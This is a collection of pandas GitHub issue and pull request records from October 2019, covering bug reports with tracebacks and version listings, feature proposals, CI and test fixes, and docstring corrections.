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} | 3 | 2019-10-17T14:15:05Z | 2019-10-17T22:56:46Z | 2019-10-17T22:56:45Z | CONTRIBUTOR | null | https://travis-ci.org/pandas-dev/pandas/builds/599134469
looks like some issues on 3.8, 3.6 allowed failure builds (i know has been failing a while)
should address these before merging other changes.
cc @pandas-dev/pandas-core | {
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} | 9 | 2019-10-17T15:38:30Z | 2020-09-05T14:50:04Z | 2020-09-05T14:50:04Z | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
# Your code here
import portalocker
with portalocker.Lock("/path/to/file.pickle", "rb+", timeout=60) as file:
file.seek(0) # not sure why I had this from before but it shouldn't cause an issue right?
df = pd.read_pickle(file)
# do stuff to df
file.seek(0)
file.truncate() # I think here I was trying to erase the previous file just in case because of the read-mode
file.to_pickle(file)
```
Alternatively, a more concise, self-contained, reproducible example:
```python
import portalocker
import pandas as pd
df = pd.DataFrame({'a':[1,2,3], 'b':[1,2,3]})
path = 'test.pickle'
df.to_pickle(path)
with portalocker.Lock(path, "rb+", timeout=60) as file:
file.seek(0)
df = pd.read_pickle(file)
```
Replace `portalocker.Lock` with `open(path, 'rb+')` and you get the same thing.
#### Problem description
The above used to work. However, having updated to the latest pandas version recently (0.25.1), it now produces an error on the `pd.read_pickle`, and based on other issues, it will also produce an error on `df.to_pickle()` if it gets that far. Am I doing it wrong or should I do it differently, or it is just a bug?
The error traceback is:
```
df = pd.read_pickle(file)
File "/HOME/anaconda3/lib/python3.6/site-packages/pandas/io/pickle.py", line 145, in read_pickle
f, fh = _get_handle(path, "rb", compression=compression, is_text=False)
File "HOME/anaconda3/lib/python3.6/site-packages/pandas/io/common.py", line 392, in _get_handle
raise ValueError(msg)
ValueError: Unrecognized compression type: infer
```
#### Expected Output
#### Output of ``pd.show_versions()``
<details>
This didn't work as it couldn't determine the version for pip for some reason (I have pip, I'm not sure what's going on here), but the pandas version I'm running is: 0.25.1
On my other machine, which also has the error:
INSTALLED VERSIONS
------------------
commit : None
python : 3.6.8.final.0
python-bits : 64
OS : Linux
OS-release : 4.18.16-041816-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : en_GB.UTF-8
LOCALE : en_GB.UTF-8
pandas : 0.25.1
numpy : 1.14.3
pytz : 2018.4
dateutil : 2.7.3
pip : 19.1.1
setuptools : 39.1.0
Cython : 0.28.2
pytest : 3.5.1
hypothesis : None
sphinx : 1.7.4
blosc : None
feather : None
xlsxwriter : 1.0.4
lxml.etree : 4.2.1
html5lib : 1.0.1
pymysql : None
psycopg2 : None
jinja2 : 2.10
IPython : 6.4.0
pandas_datareader: None
bs4 : 4.6.0
bottleneck : 1.2.1
fastparquet : None
gcsfs : None
lxml.etree : 4.2.1
matplotlib : 3.1.1
numexpr : 2.6.5
odfpy : None
openpyxl : 2.5.3
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.1.0
sqlalchemy : 1.2.7
tables : 3.4.3
xarray : None
xlrd : 1.1.0
xlwt : 1.3.0
xlsxwriter : 1.0.4
</details>
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} | 9 | 2019-10-17T16:02:49Z | 2020-04-26T20:34:07Z | 2020-04-26T19:31:34Z | NONE | null | Not sure if this is a pandas issue or pyarrow, but when I try to read from a URL:
```python
import pandas as pd
pd.read_feather("https://github.com/wesm/feather/raw/master/R/inst/feather/iris.feather")
```
I get the following error:
```
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/home/ubuntu/miniconda3/envs/pandas/lib/python3.7/site-packages/pandas/util/_decorators.py", line 208, in wrapper
return func(*args, **kwargs)
File "/home/ubuntu/miniconda3/envs/pandas/lib/python3.7/site-packages/pandas/io/feather_format.py", line 119, in read_feather
return feather.read_feather(path, columns=columns, use_threads=bool(use_threads))
File "/home/ubuntu/miniconda3/envs/pandas/lib/python3.7/site-packages/pyarrow/feather.py", line 214, in read_feather
reader = FeatherReader(source)
File "/home/ubuntu/miniconda3/envs/pandas/lib/python3.7/site-packages/pyarrow/feather.py", line 40, in __init__
self.open(source)
File "pyarrow/error.pxi", line 80, in pyarrow.lib.check_status
File "pyarrow/io.pxi", line 1406, in pyarrow.lib.get_reader
File "pyarrow/io.pxi", line 1395, in pyarrow.lib._get_native_file
File "pyarrow/io.pxi", line 788, in pyarrow.lib.memory_map
File "pyarrow/io.pxi", line 751, in pyarrow.lib.MemoryMappedFile._open
File "pyarrow/error.pxi", line 80, in pyarrow.lib.check_status
pyarrow.lib.ArrowIOError: Failed to open local file 'https://github.com/wesm/feather/raw/master/R/inst/feather/iris.feather', error: No such file or directory
```
#### Output of ``pd.show_versions()``
<details>
```
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.4.final.0
python-bits : 64
OS : Linux
OS-release : 4.15.0-64-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 0.25.1
numpy : 1.17.3
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.4.0
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : 0.4.0
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : None
IPython : None
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : None
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : 0.15.0
pytables : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
```
</details>
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} | [] | closed | false | null | [] | null | 3 | 2019-10-17T16:26:41Z | 2019-10-19T18:18:58Z | 2019-10-19T18:18:58Z | NONE | null | [I first thought it was a bug, but it is actually a missing feautre.](https://github.com/pandas-dev/pandas/issues/29031)
When I apply `tz_localize()` I run in the following error:
AmbiguousTimeError: There are %i dst switches when there should only be 1.
Here is my code to reproduce the error. Note that from 2am to 3am every datetime is a duplicate due to daylight saving time.
index = pd.DatetimeIndex(['2018-10-28 01:00:00', '2018-10-28 01:15:00',
'2018-10-28 01:30:00', '2018-10-28 01:45:00',
'2018-10-28 02:00:00', '2018-10-28 02:00:00',
'2018-10-28 02:15:00', '2018-10-28 02:15:00',
'2018-10-28 02:30:00', '2018-10-28 02:30:00',
'2018-10-28 02:45:00', '2018-10-28 02:45:00',
'2018-10-28 03:00:00', '2018-10-28 03:15:00',
'2018-10-28 03:30:00', '2018-10-28 03:45:00',
'2018-10-28 04:00:00'], freq='infer')
data = list(range(len(index)))
df = pd.DataFrame(data=data,index=index)
df.index = df.index.tz_localize('Europe/Berlin', ambiguous='infer')
I propose to improve the behavior of `infer`. The problem here is daylight saving time.
I propose: With respect to the order, duplicates are identified as winter or summer time.
The result should be an index looking like this:
```
2018-10-28 01:00:00+02:00
2018-10-28 01:15:00+02:00
2018-10-28 01:30:00+02:00
2018-10-28 01:45:00+02:00
2018-10-28 02:00:00+02:00
2018-10-28 02:00:00+01:00
2018-10-28 02:15:00+02:00
2018-10-28 02:15:00+01:00
2018-10-28 02:30:00+02:00
2018-10-28 02:30:00+01:00
2018-10-28 02:45:00+02:00
2018-10-28 02:45:00+01:00
2018-10-28 03:00:00+01:00
2018-10-28 03:15:00+01:00
2018-10-28 03:30:00+01:00
2018-10-28 03:45:00+01:00
2018-10-28 04:00:00+01:00
```
I think this is "easily" possible and it's logical:
For example 2am occurs two times, than the "earlier 2am" must be `2018-10-28 02:00:00+02:00` and the "later 2am" must be `2018-10-28 02:00:00+01:00`
I can help with further explanations.
This is my first feature request.
I have never done a pull request, but I might do one -- let me know if that makes sense. I am not the most experienced python developer but I don't know how to find out wheather I can contribute. | {
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} | 4 | 2019-10-17T16:48:26Z | 2019-10-17T18:50:31Z | 2019-10-17T18:25:48Z | MEMBER | null | xref #29053
i think this addresses the failing azure builds, not sure about Travis.
Will open an issue for a longer-term fix. | {
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} | 2 | 2019-10-17T16:50:47Z | 2019-12-25T23:27:30Z | 2019-12-25T23:27:30Z | MEMBER | null | #29057 xfails some tests that are broken with numpy 1.18, which changes the behavior of np.minimum.accumulate on dt64/td64 arrays:
```
s = pd.Series(
pd.to_datetime(["NaT", "2000-1-2", "NaT", "2000-1-1", "NaT", "2000-1-3"])
)
>>> np.minimum.accumulate(s.values) # numpy 1.17
array([ 'NaT', '2000-01-02T00:00:00.000000000',
'2000-01-02T00:00:00.000000000', '2000-01-01T00:00:00.000000000',
'2000-01-01T00:00:00.000000000', '2000-01-01T00:00:00.000000000'],
dtype='datetime64[ns]')
>>> np.accumulate.minimum(s.values) # numpy 1.18
array(['NaT', 'NaT', 'NaT', 'NaT', 'NaT', 'NaT'], dtype='datetime64[ns]')
```
This will need to be addressed in core.generic._make_cum_function (maybe other places too, not sure) | {
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Note this doesn't touch cython_agg_blocks, I've run out of things to meddle with there.
Open to suggestions for the DecimalArray case. | {
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} | 9 | 2019-10-17T19:03:24Z | 2019-10-18T21:57:27Z | 2019-10-18T12:43:35Z | CONTRIBUTOR | null | xref https://issues.apache.org/jira/browse/ARROW-6922 /
https://github.com/pandas-dev/pandas/pull/27242#issuecomment-543302582
/ https://github.com/pandas-dev/pandas/issues/29032
No docs yet, since it isn't clear how this will eventually sort out. But
we at least want to preserve this behavior for 1.0
cc @jorisvandenbossche @topper-123 | {
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} | 11 | 2019-10-17T20:50:41Z | 2020-02-13T19:11:27Z | 2019-10-22T12:42:16Z | CONTRIBUTOR | null | This aids in the implementation of
https://github.com/pandas-dev/pandas/pull/28394. Over there, I'm having
issues with using `NDFrame.__finalize__` to copy attributes, in part
because getattribute on NDFrame is so complicated.
This simplifies that PR because we only need to look in NDFrame.attrs (name borrowed from xarray),
which is just a plain dictionary.
Aside from the addition of a public NDFrame.attrs dictionary, there
aren't any user-facing API changes. | {
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} | 6 | 2019-10-17T21:19:13Z | 2019-10-19T17:11:19Z | 2019-10-19T17:11:16Z | CONTRIBUTOR | null | - [X] closes #15562
- [X] tests added / passed
- [X] passes `black pandas`
- [X] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
This change doesn't add a new feature but adds an regression test for #15562 which has been fixed with pandas 0.20. Hence there is no whatsnew entry.
The bug was reported for pandas 0.18.1 and persisted until 0.19.2 but was fixed in 0.20.0(-rc1). I managed to reproduce the error (with `numpy==1.12.1` on python 3.6, otherwise some errors unrelated to this bug appear).
I added an regression test to `pandas/tests/groupby/test_apply.py` and verified that the code will fail with 0.19.2 and succeed with 0.20.0 and master.
I wasn't able to further reduce the test provided by @field-cady. | {
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] | closed | false | null | [] | null | 7 | 2019-10-18T00:08:57Z | 2021-01-12T17:54:54Z | 2021-01-12T17:53:20Z | MEMBER | null | Because we don't have type information from numpy AND because we specifically ignore_missing_imports for that in our setup, any numpy types currently resolve to `Any`. This may cause surprising behavior if not scrutinized...
To illustrate, we currently define `DType` in pandas._typing as `Dtype = Union[str, np.dtype, "ExtensionDtype"]`. The numpy item here basically makes this a `Union[..., Any]` so it will almost never fail static analysis. If you remove the np reference therein you will get errors like the following:
```sh
pandas/tests/arrays/sparse/test_dtype.py:74: error: Argument 1 to "SparseDtype" has incompatible type "Type[int]"; expected "Union[str, ExtensionDtype]"
```
In this particular case we probably want to replace `np.dtype` with `Type[Union[float, bool, int, str, object]]` to account for legitimate `dtype=object` calls (@angelaambroz this was mentioned in #29046).
The appearances in TypeVar items may not be as big of a deal, so open to thoughts on whomever wants to review this
@simonjayhawkins | {
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} | 2 | 2019-10-18T00:56:13Z | 2019-10-18T19:44:40Z | 2019-10-18T19:34:45Z | MEMBER | null | It is only called from one place in `DataFrame._reindex_multi`, so we can rule out a bunch of cases about the args/kwargs.
Separate branches for simplifying algos_take_helper are going to be nice | {
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} | 1 | 2019-10-18T02:20:04Z | 2019-10-22T15:02:55Z | 2019-10-22T12:41:07Z | MEMBER | null | Only need to catch AssertionError | {
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} | 1 | 2019-10-18T09:42:59Z | 2019-10-18T17:32:55Z | 2019-10-18T17:32:52Z | CONTRIBUTOR | null | - [X] closes #21624
- [X] tests added / passed
- [X] passes `black pandas`
- [X] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
Is the whatsnew entry required if the fix was somewhat silent and only a regression test was added?
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} | 6 | 2019-10-18T11:02:25Z | 2019-10-19T00:10:42Z | 2019-10-18T23:57:38Z | CONTRIBUTOR | null | - [ ] closes #xxxx
- [ ] tests added / passed *(tests failed even on master)*
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
I think `api.types.CategoricalDtype` in *see also* section of [pandas.Categorical](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.Categorical.html) documentation which does not have any link, is better to point to [pandas.CategoricalDtype](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.CategoricalDtype.html?highlight=categoricaldtype) for better understanding of this type. So I made this change and created a pr.
<img width="960" alt="chrome_2019-10-18_14-22-01" src="https://user-images.githubusercontent.com/7765309/67089231-0746d280-f1b4-11e9-9bba-c88ccfd7fa93.png">
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} | 5 | 2019-10-18T12:10:28Z | 2019-12-27T16:00:52Z | 2019-12-27T16:00:52Z | CONTRIBUTOR | null | We require that Series.name be hashable. We don't do the same for Index.name. Should we?
```python
In [4]: pd.Index([], name=[])
Out[4]: Index([], dtype='object', name=[])
```
```python
In [5]: pd.Series([], name=[])
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-5-2c73ddde103e> in <module>
----> 1 pd.Series([], name=[])
~/sandbox/pandas/pandas/core/series.py in __init__(self, data, index, dtype, name, copy, fastpath)
326 generic.NDFrame.__init__(self, data, fastpath=True)
327
--> 328 self.name = name
329 self._set_axis(0, index, fastpath=True)
330
~/sandbox/pandas/pandas/core/generic.py in __setattr__(self, name, value)
5257 object.__setattr__(self, name, value)
5258 elif name in self._metadata:
-> 5259 object.__setattr__(self, name, value)
5260 else:
5261 try:
~/sandbox/pandas/pandas/core/series.py in name(self, value)
468 def name(self, value):
469 if value is not None and not is_hashable(value):
--> 470 raise TypeError("Series.name must be a hashable type")
471 object.__setattr__(self, "_name", value)
472
TypeError: Series.name must be a hashable type
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} | 1 | 2019-10-18T12:45:55Z | 2020-01-04T23:12:48Z | 2020-01-04T23:12:35Z | CONTRIBUTOR | null | At some point, IPython changed their code to be async. Now, our tests using their tab completion stuff causes warnings.
```
$ pytest pandas/tests/ -k test_tab_complete_warning
================================================================================= warnings summary =================================================================================
pandas/tests/arrays/categorical/test_warnings.py::TestCategoricalWarnings::test_tab_complete_warning
/Users/taugspurger/sandbox/pandas/pandas/tests/arrays/categorical/test_warnings.py:14: RuntimeWarning: coroutine 'InteractiveShell.run_code' was never awaited
ip.run_code(code)
pandas/tests/frame/test_api.py::TestDataFrameMisc::test_tab_complete_warning
/Users/taugspurger/sandbox/pandas/pandas/tests/frame/test_api.py:575: RuntimeWarning: coroutine 'InteractiveShell.run_code' was never awaited
ip.run_code(code)
pandas/tests/indexes/test_base.py::TestIndex::test_tab_complete_warning
/Users/taugspurger/sandbox/pandas/pandas/tests/indexes/test_base.py:2420: RuntimeWarning: coroutine 'InteractiveShell.run_code' was never awaited
ip.run_code(code)
pandas/tests/series/test_api.py::TestSeriesMisc::test_tab_complete_warning
/Users/taugspurger/sandbox/pandas/pandas/tests/series/test_api.py:508: RuntimeWarning: coroutine 'InteractiveShell.run_code' was never awaited
ip.run_code(code)
-- Docs: https://docs.pytest.org/en/latest/warnings.html
=========================================================== 4 passed, 11 skipped, 62860 deselected, 4 warnings in 29.50s ===========================================================
```
There's a race condition between the completion of the `ip.run_code(code)` calls and the asserts later on. We need to explicitly wait for the `ip.run_code(code)` to finish before moving on with the test. The easiest way is to
1. Mark the tests as async with the 3rd-party pytest-asyncio (need to add to the CI)
2. Rewrite the tests to use `async def`.
3. Add an `await` to the `ip.run_code`
```python
diff --git a/pandas/tests/series/test_api.py b/pandas/tests/series/test_api.py
index 998f8b6f7d..b471e1dc1e 100644
--- a/pandas/tests/series/test_api.py
+++ b/pandas/tests/series/test_api.py
@@ -499,13 +499,15 @@ class TestSeriesMisc(TestData, SharedWithSparse):
for full_series in [pd.Series([1]), pd.Series(index=[1])]:
assert not full_series.empty
- def test_tab_complete_warning(self, ip):
+ @pytest.mark.asyncio
+ async def test_tab_complete_warning(self, ip):
# https://github.com/pandas-dev/pandas/issues/16409
pytest.importorskip("IPython", minversion="6.0.0")
from IPython.core.completer import provisionalcompleter
code = "import pandas as pd; s = pd.Series()"
- ip.run_code(code)
+ await ip.run_code(code)
+
with tm.assert_produces_warning(None):
with provisionalcompleter("ignore"):
list(ip.Completer.completions("s.", 1))
```
~This is currently blocked by https://github.com/pandas-dev/pandas/issues/29034. Once we drop 3.5, we can use the `async` and `await` syntax.~ I forgot 3.5 had async / await. | {
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} | 1 | 2019-10-18T13:15:58Z | 2019-10-22T12:40:30Z | 2019-10-22T12:40:26Z | CONTRIBUTOR | null | - [x] closes #18311
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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} | 9 | 2019-10-18T13:21:26Z | 2021-09-23T19:42:05Z | 2021-06-17T23:59:40Z | NONE | null | ## Problem description
When displaying a large data frame in Jupyter the number of columns will be limited by `max_cols` set in the default setting, and all the rows will be displayed.
I would like to add an option in the default settings so that large data frames will be displayed with a sticky header and index and then be able to scroll though the data frame.
## Proof of concept solution
Following the solution for html tables found at [Stackoverflow: Table with fixed header and fixed column on pure css](https://stackoverflow.com/questions/15811653/table-with-fixed-header-and-fixed-column-on-pure-css) with the solution shown in action here [HTML and CSS Solution](https://jsfiddle.net/wvypo83c/940/)
I came up with the following solution (which follows the same way of `<style scoped>` as the `_repr_html_` method):
```python
import numpy as np
import pandas as pd
from IPython.display import HTML
# Dummy dataframe
columns = [chr(i) for i in range(ord('a'),ord('z')+1)]
data = np.random.rand(len(columns),len(columns))
df = pd.DataFrame(data, columns=columns)
# Solution
# Getting default html as string
df_html = df.to_html()
# CSS styling
style = """
<style scoped>
.dataframe-div {
max-height: 300px;
overflow: auto;
position: relative;
}
.dataframe thead th {
position: -webkit-sticky; /* for Safari */
position: sticky;
top: 0;
background: black;
color: white;
}
.dataframe thead th:first-child {
left: 0;
z-index: 1;
}
.dataframe tbody tr th:only-of-type {
vertical-align: middle;
}
.dataframe tbody tr th {
position: -webkit-sticky; /* for Safari */
position: sticky;
left: 0;
background: black;
color: white;
vertical-align: top;
}
</style>
"""
# Concatenating to single string
df_html = style+'<div class="dataframe-div">'+df_html+"\n</div>"
# Displaying df with sticky header and index
HTML(df_html)
```
I would therefore like to know if others also would like to have this feature in pandas?
Otherwise I guess I would make it to an independent module that wraps the `_repr_html_` method.
I know that it is not just a matter of adding the new styling above for the general case, but the above solution is a minimal working solution.
A related issues is #28091 | {
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... | closed | false | null | [] | null | 4 | 2019-10-18T13:34:27Z | 2019-10-23T16:07:23Z | 2019-10-23T16:07:23Z | CONTRIBUTOR | null | Subset of #28602 (PR09) and #25232 (PR08) for #27977 (docstrings validation).
pandas/_libs/tslibs/period.pyx
```
python scripts/validate_docstrings.py --errors=PR08
python scripts/validate_docstrings.py --errors=PR09
python scripts/validate_docstrings.py pandas.Period
```
```
pandas.Period: Parameter "value" description should finish with "."
pandas.Period: Parameter "freq" description should finish with "."
pandas.Period.asfreq: Parameter "how" description should finish with "."
pandas.Period.to_timestamp: Parameter "freq" description should finish with "."
pandas.Period.to_timestamp: Parameter "how" description should finish with "."
pandas.PeriodDtype: Parameter "freq" description should finish with "."
pandas.Period.to_timestamp: Parameter "how" description should start with a capital letter
```
```
10 Errors found:
Parameters {ordinal} not documented
Parameter "value" description should finish with "."
Parameter "freq" description should finish with "."
Parameter "year" has no description
Parameter "month" has no description
Parameter "quarter" has no description
Parameter "day" has no description
Parameter "hour" has no description
Parameter "minute" has no description
Parameter "second" has no description
``` | {
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] | closed | false | null | [] | null | 1 | 2019-10-18T14:15:26Z | 2019-10-18T14:38:47Z | 2019-10-18T14:38:41Z | NONE | null | #### Code Sample
```python
# Extract particular column
selected_dataUrl_columns = pd.DataFrame(dataTableSession.query(dataTable).filter(dataTable.c.dataId.in_(media_id_list)).all())['dataUrl'].reset_index(drop=True)
# combine the column with the active_campaign dataframe
campaign_info = pd.concat([active_campaign[['id','fromdate','todate']].reset_index(drop=True),selected_dataUrl_columns], axis=1)
# convert the dataframe into json
campaign_info_json = campaign_info.to_json(orient='records')
```
I tried
```
#even with this same error
campaign_info_json = campaign_info.reset_index(drop=True).to_json(orient='records')
```
#### Problem description
[I used `.reset_index(drop=True)` to ` pd.concat` ]
<details>
[paste the output of ``pd.show_versions()`` here below this line]
INSTALLED VERSIONS
------------------
commit : None
python : 3.6.8.final.0
python-bits : 64
OS : Windows
OS-release : 10
machine : AMD64
processor : Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
byteorder : little
LC_ALL : None
LANG : None
LOCALE : None.None
pandas : 0.25.1
numpy : 1.17.3
pytz : 2019.3
dateutil : 2.8.0
pip : 19.3.1
setuptools : 41.4.0
Cython : 0.29.13
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.10.3
IPython : None
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : 3.1.1
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.1
sqlalchemy : 1.3.10
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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https://api.github.com/repos/pandas-dev/pandas/issues/29075 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29075/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29075/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29075/events | https://github.com/pandas-dev/pandas/issues/29075 | 509,148,172 | MDU6SXNzdWU1MDkxNDgxNzI= | 29,075 | Passing a psycopg2 connection to read_sql can cause table locks | {
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} | 6 | 2019-10-18T15:20:36Z | 2021-06-28T15:42:38Z | 2021-06-28T15:42:38Z | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
import psycopg2
import sqlalchemy as sa
import pandas as pd
conn = psycopg2.connect(**{CREDENTIALS})
df = pd.read_csv('select foo from bar', conn)
```
#### Problem description
`read_sql` allows for an engine or a connection to be passed in as `con`. When an engine is passed in, a connection is opened and closed when `read_sql` is run. However, when a connection is used and `read_sql` is run, the query will return but that connection will remain open. At least for Redshift (which I experienced this issue on), when a query is run on a table, a lock will remain on that table until the connection is closed. If there are any DDL jobs running on that table, it can cause those to timeout and fail.
While users more familiar with databases might anticipate this behavior, it might not be apparent for those in Data Science or Analytics for example who might not have that familiarity.
I'd suggest some type of warning be returned when a connection is passed in to `read_sql` to ensure users are aware that the connection is still open and a lock may be present on the table they queried.
#### Expected Output
#### Output of ``pd.show_versions()``
<details>
------------------
commit: None
python: 3.6.5.final.0
python-bits: 64
OS: Linux
OS-release: 4.14.146-93.123.amzn1.x86_64
machine: x86_64
processor: x86_64
byteorder: little
LC_ALL: None
LANG: en_US.UTF-8
LOCALE: en_US.UTF-8
pandas: 0.24.2
pytest: None
pip: 19.2.3
setuptools: 41.4.0
Cython: None
numpy: 1.16.2
scipy: 1.1.0
pyarrow: None
xarray: None
IPython: 7.8.0
sphinx: None
patsy: 0.5.1
dateutil: 2.8.0
pytz: 2019.3
blosc: None
bottleneck: None
tables: None
numexpr: None
feather: None
matplotlib: 3.1.1
openpyxl: None
xlrd: None
xlwt: None
xlsxwriter: None
lxml.etree: None
bs4: None
html5lib: None
sqlalchemy: 1.3.9
pymysql: None
psycopg2: 2.7.5 (dt dec pq3 ext lo64)
jinja2: None
s3fs: 0.3.4
fastparquet: None
pandas_gbq: None
pandas_datareader: None
gcsfs: None
</details>
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"description": "IO issue... | open | false | null | [] | null | 2 | 2019-10-18T15:33:09Z | 2019-12-01T21:22:42Z | null | NONE | null | I recently added graphql support in [vaex](https://github.com/vaexio/vaex) (another dataframe library), and just added support for pandas as well: https://github.com/vaexio/vaex/pull/446
However, this is only available after importing vaex.graphql, e.g.:
In vaex, I use a plugin system using the entry point system, e.g:
```
entry_points={
'vaex.dataframe.accessor': ['graphql = vaex.graphql:DataFrameAccessorGraphQL'],
},
```
Is this maybe something pandas can do as well? That would mean that simply installing vaex.graphql would enable this.
Note: in vaex I lazily import the modules, so if `df.graphql` never gets accessed, vaex.graphql will never be imported.
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} | 0 | 2019-10-18T16:13:44Z | 2019-10-21T21:15:17Z | 2019-10-18T17:57:55Z | MEMBER | null | This is the second place where the DecimalArray case has popped up, will move to fix that before too long. | {
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} | 3 | 2019-10-18T18:37:33Z | 2020-02-09T17:19:45Z | 2020-02-09T17:19:45Z | NONE | null | #### Problem description
I noticed a small mismatch between the function signature of `mad` and its description here:
* https://pandas-docs.github.io/pandas-docs-travis/reference/api/pandas.DataFrame.mad.html?highlight=mad#pandas.DataFrame.mad
The function signature is correct:
> DataFrame.mad(self, axis=None, skipna=None, level=None)
The description, meanwhile, includes 'numeric_only':
> numeric_only : bool, default None
> Include only float, int, boolean columns. If None, will attempt to use everything, then use only numeric data. Not implemented for Series.
Passing the `numeric_only` parameter to `mad` will throw an error, as one would expect.
It looks like both `mad` and `compound` are using the `@Appender(_num_doc)` decorator, which points to a description that includes the `numeric_only` parameter even though neither of those methods use `numeric_only`.
The `compound` method is being deprecated, so that may be less of an issue.
There are a couple of different ways I could think to fix it, but I just wanted to confirm that I had this right before I did anything. | {
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"gists... | null | 2 | 2019-10-18T20:00:46Z | 2021-08-31T05:10:23Z | null | NONE | null | ```python
np.random.seed(0)
test = pd.DataFrame({
'a' : np.random.randint(0, 10, size=(10,)),
'b' : np.random.randint(0, 10, size=(10,)),
'c' : np.random.randint(0, 10, size=(10,)),
'd' : np.random.randint(0, 10, size=(10,)),
})
tp = test.pivot_table(index=[
'a',
], columns=[
'b',
], values=[
'c',
], aggfunc=[
'nunique'
])
# tp produces unexpected output
print(tp)
nunique
a b c
b 1 6 7 8 1 6 7 8 1 6 7 8
a
0 NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN
2 NaN NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN 1.0
3 NaN NaN 1.0 1.0 NaN NaN 1.0 1.0 NaN NaN 1.0 2.0
4 1.0 NaN NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN
5 NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN 2.0 NaN
7 1.0 NaN NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN
9 NaN 1.0 NaN NaN NaN 1.0 NaN NaN NaN 1.0 NaN NaN
tp2 = test.pivot_table(index=[
'a',
], columns=[
'b',
], values=[
'c',
], aggfunc=[
pd.Series.nunique
])
# tp2 produces expected output
print(tp2)
nunique
c
b 1 6 7 8
a
0 NaN 1.0 NaN NaN
2 NaN NaN NaN 1.0
3 NaN NaN 1.0 2.0
4 1.0 NaN NaN NaN
5 NaN NaN 2.0 NaN
7 1.0 NaN NaN NaN
9 NaN 1.0 NaN NaN
cp = test.pivot_table(index=[
'a',
], columns=[
'b',
], values=[
'c',
], aggfunc=[
'count'
])
cp2 = test.pivot_table(index=[
'a',
], columns=[
'b',
], values=[
'c',
], aggfunc=[
pd.Series.count
])
# both return the same output
count
c
b 1 6 7 8
a
0 NaN 1.0 NaN NaN
2 NaN NaN NaN 1.0
3 NaN NaN 1.0 2.0
4 1.0 NaN NaN NaN
5 NaN NaN 2.0 NaN
7 1.0 NaN NaN NaN
9 NaN 1.0 NaN NaN
```
#### Problem description
I noticed that when using pd.pivot_table I get different results specifically when using aggfunc='nunique' and values = a single column vs values = a list of columns.
When aggfunc='count', there is no difference between outputs.
Please see my stackoverflow question [here](https://stackoverflow.com/questions/58457181/pandas-pivot-table-aggfunc-values-parameters-behaving-oddly?noredirect=1#comment103251827_58457181) for more details/examples. They mentioned in the comments that I should log an issue
#### Expected Output
I would expect both tp and tp2 to produce the same output
```python
nunique
c
b 1 6 7 8
a
0 NaN 1.0 NaN NaN
2 NaN NaN NaN 1.0
3 NaN NaN 1.0 2.0
4 1.0 NaN NaN NaN
5 NaN NaN 2.0 NaN
7 1.0 NaN NaN NaN
9 NaN 1.0 NaN NaN
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.4.final.0
python-bits : 64
OS : Windows
OS-release : 10
machine : AMD64
processor : Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
byteorder : little
LC_ALL : None
LANG : None
LOCALE : None.None
pandas : 0.25.1
numpy : 1.16.5
pytz : 2019.2
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.2.0
Cython : 0.29.13
pytest : 5.1.2
hypothesis : None
sphinx : 2.2.0
blosc : None
feather : None
xlsxwriter : 1.2.1
lxml.etree : 4.4.1
html5lib : 1.0.1
pymysql : None
psycopg2 : None
jinja2 : 2.10.1
IPython : 7.8.0
pandas_datareader: None
bs4 : 4.8.0
bottleneck : 1.2.1
fastparquet : None
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.1.1
numexpr : 2.7.0
odfpy : None
openpyxl : 2.6.3
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.1
sqlalchemy : 1.3.8
tables : 3.5.2
xarray : None
xlrd : 1.2.0
xlwt : 1.3.0
xlsxwriter : 1.2.1
</details>
